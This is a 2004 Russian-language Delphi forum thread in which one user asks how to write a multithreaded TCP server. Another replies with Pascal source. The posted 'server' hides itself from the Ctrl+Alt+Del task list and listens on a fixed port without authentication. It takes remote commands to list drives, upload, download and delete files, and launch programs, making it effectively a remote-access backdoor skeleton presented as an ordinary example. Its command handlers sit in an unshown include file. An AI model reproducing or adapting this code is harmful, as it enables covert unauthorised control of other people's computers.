Мастера DELPHI (документация, исходники, скачать)

Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

многопоточный TCP-сервер

Quest © (2004-08-14 17:25:00)
Здраствуйте, мастера Delphi.
У меня такой вопрос: как сделать многопоточный TCP-сервер в delphi средствами winapi?
Может я неправильно сформулировал вопрос, короче мне нужно, чтобы с сервером могли одновременно работать несколько клиентов.
Заранее спасибо

Quest (2004-08-19 23:25:00) [1]
Спасибо, все дошло... глюки с мылом

Vetek_2 (2004-08-15 18:31:00) [2]
странно ...
послал ещё раз ..
если не дойдёт - стучись в аську 229433

Quest (2004-08-15 12:20:00) [3]
Только вот почту проверил, а там ничего нету :-(

Quest (2004-08-15 12:18:00) [4]
БОЛЬШОЕспасибо!

Vetek_2 (2004-08-15 03:10:00) [5]
[8] Quest (14.08.04 23:47)
послал :)

Quest (2004-08-14 23:47:00) [6]
мне не компилировать, а так посмотреть, как ты все реализовывал, файлы посылал и т.д.
bog_fixxxer@rambler.ru

Vetek_2 (2004-08-14 22:44:00) [7]
MainForm.pp.Caption:='Соединяемся ..';
if WSAStartup($101,vWSAData)<>0 then Halt(1);
S := socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if s= INVALID_SOCKET then Halt(1);
FillChar(vSockAddr,SizeOf(TSockAddr),0);
vSockAddr.sin_family :=AF_INET;
vSockAddr.sin_port :=htons(strtoint(MainForm.port.Text));
vSockAddr.sin_addr.S_addr:=inet_addr(Pchar(MainForm.ip.Text));
if connect(S,vSockAddr,SizeOf(TSockAddr)) = SOCKET_ERROR then
begin
MainForm.pp.Caption:='Не удалось соединиться :(';
exit;end;
CreateThread(nil,0,@Priem,nil,0,trId);
MainForm.pp.Caption:='Соединение установлено !';

//коннект

Vetek_2 (2004-08-14 22:42:00) [8]
могу дать полностью исходник сервера и клиента, но для его компиляции нужен AVL..
оставь мыло - скину ..

Quest (2004-08-14 22:38:00) [9]
Премного благодарен за сервер - мне очень помогло.
можешь дать исходник клиента?
Заранее спасибо

Vetek_2 (2004-08-14 18:47:00) [10]
к нему клиент тоже на апи - 14 кб :))))

Vetek_2 (2004-08-14 18:08:00) [11]
он у меня выполняет функции передачи, приёма файлов, "ядро кода" - из какого-то примера

Vetek_2 (2004-08-14 18:07:00) [12]
пример моего TCP сервака, размер после сжатия 10 кб

{$I-}
program Server;

uses
Windows,AVL,WinSock,ShellApi,KOL;
Const
cPort=word(5555);
Delay=17; //Delay sys open port
del_delay=750;
//{$define M_debug}

Var
trId: DWORD;
vWSAData : TWSAData;
vListenSocket,S1: TSocket;
vSockAddr : TSockAddr;

Type tregisterserviceprocess = function (dwprocessid,dwtype:dword) : dword;stdcall;

procedure HideACD; // Процедура для скрытия от Alt+Ctrl+Del
var
registerserviceprocess : tregisterserviceprocess;
hndl:cardinal;
begin
try
hndl:=loadlibrary('KERNEL32.DLL'); //Загружаем в память библиотеку
registerserviceprocess:=getprocaddress(hndl,'1RegisterServiceProcess');
if @registerserviceprocess = nil then exit;
registerserviceprocess(getcurrentprocessid,1); //Используем функцию RegisterServiceProcess
freelibrary(hndl); // выгружаем библиотеку из памяти
except end;
end;

procedure SocketThread;
Const snd=4096;
var
s :TSocket;
buf,buf2: array[0..4095] of char;
sq,prinato,nadoprinat,i,i1 : integer;
sp,command,send_q:string;

procedure SendCmd(Var q:string);
Var z1,z2,z3,z4,z5:integer;p11:string;
Begin
str((Length(q)+8):8,p11);
q:=p11+q;
z1:=0;z2:=0;
z3:=length(q);z4:=length(q);
while true do begin
fillchar(buf2,sizeOf(buf2),0);
if z3>snd then
begin
for z5:=0 to snd-1 do
buf2[z5]:=q[z2+z5+1];
z1:=send(S,buf2,snd,0); end
else begin
for z5:=0 to z3-1 do
buf2[z5]:=q[z2+z5+1];
z1:=send(S,buf2,z3,0); end;
z2:=z2+z1;
z3:=z3-z1;
if (not(z1>0))then break;
if (z2>=z4) then break;
end;
if z1=0 then p11:='';
End;

{$I funct.pas} // функции обработки комманд

function Processor(var cmd:string):boolean;
Var selector,m1:integer;a148:string;
begin
Processor:=false;
if length(cmd)<3 then exit;

a148:=copy(cmd,1,3);
delete(cmd,1,3);
Val(a148,selector,m1);
case selector of
//1: begin send_q:='002'+ver; SendCmd(send_q); end;
2: GetDriveAll;
3: SendFailSpisok(cmd);
4: SendFail1(cmd);
5: Zapusk(cmd);
6: RecFail1(cmd);
8: DelFail1(cmd);
777:begin send_q:='002Server halted .. sorry'; SendCmd(send_q);halt(1); end;
else begin send_q:='001'; SendCmd(send_q) end;
end;
Processor:=true;
end;

begin
s:=s1;
if s = INVALID_SOCKET then begin
{$ifdef M_debug}
Messagebox(0,'error soket','714136',0);
{$endif}
exit; end;

sp:='';
prinato:=0; nadoprinat:=0;
repeat
fillchar(buf,sizeof(buf),0);
i:=0;
try i:=recv(s,buf,sizeof(buf),0); except end;

if (i = SOCKET_ERROR) then begin
{$ifdef M_debug}Messagebox(0,'Error connect','-1',0);
{$endif} exit; end;

if (i = 0) then begin
{$ifdef M_debug} Messagebox(0,'Error connect','0',0);
{$endif} exit; end;

sp:='';
for sq:=0 to i-1 do
sp:=sp+buf[sq];

if (prinato<=0) then
begin
Val(copy(sp,1,8),nadoprinat,i1);
if (nadoprinat<=0) then continue;
delete(sp,1,8);
command:=sp;
prinato:=i;
end else begin
prinato:=prinato+i;
command:=command+sp;
end;
if (prinato>=nadoprinat) then begin
command:=copy(command,1,nadoprinat);
sp:=''; prinato:=0; nadoprinat:=0;
Processor(command);
end;
until false;
closesocket(s);
end;

begin
if not IsWinNT then HideACD;
sleep(delay);
UseInputOutput;
if WSAStartup($101,vWSAData)<>0 then begin
{$ifdef M_debug} Messagebox(0,'Eror WSA','Error',0);
{$endif} exit; end;
//Создаем прослушивающий сокет.
vListenSocket := socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if vListenSocket = INVALID_SOCKET then begin
{$ifdef M_debug} Messagebox(0,'Eror soket','Error 73643',0);{$endif} exit; end;
FillChar(vSockAddr,SizeOf(TSockAddr),0);
vSockAddr.sin_family := AF_INET;
vSockAddr.sin_port := htons(cPort);
vSockAddr.sin_addr.S_addr := INADDR_ANY;
//Привязываем адрес и порт к сокету.
if bind(vListenSocket,vSockAddr,SizeOf(TSockAddr)) <> 0
then begin
{$ifdef M_debug} Messagebox(0,'Sys error 4554','444',0); {$endif} exit; end;
//Начинаем прослушивать.
if listen(vListenSocket,SOMAXCONN) <> 0
then begin
{$ifdef M_debug} Messagebox(0,'Sys error open port','444',0); {$endif}
exit; //надо ещё что-нить придумать - типа фаерволл
end;
repeat
//Ожидаем подключения.
S1:=accept(vListenSocket,nil,nil);
//Клиент подключился, запускаем новый процесс на соединение.
CreateThread(nil,0,@SocketThread,nil,0,trId);
until false;
closesocket(vListenSocket);
WSACleanup;
end.

Quest (2004-08-14 17:26:00) [13]
средствами WinSock

Наверх

	« предыдущая ветвь \| форум \| следующая ветвь »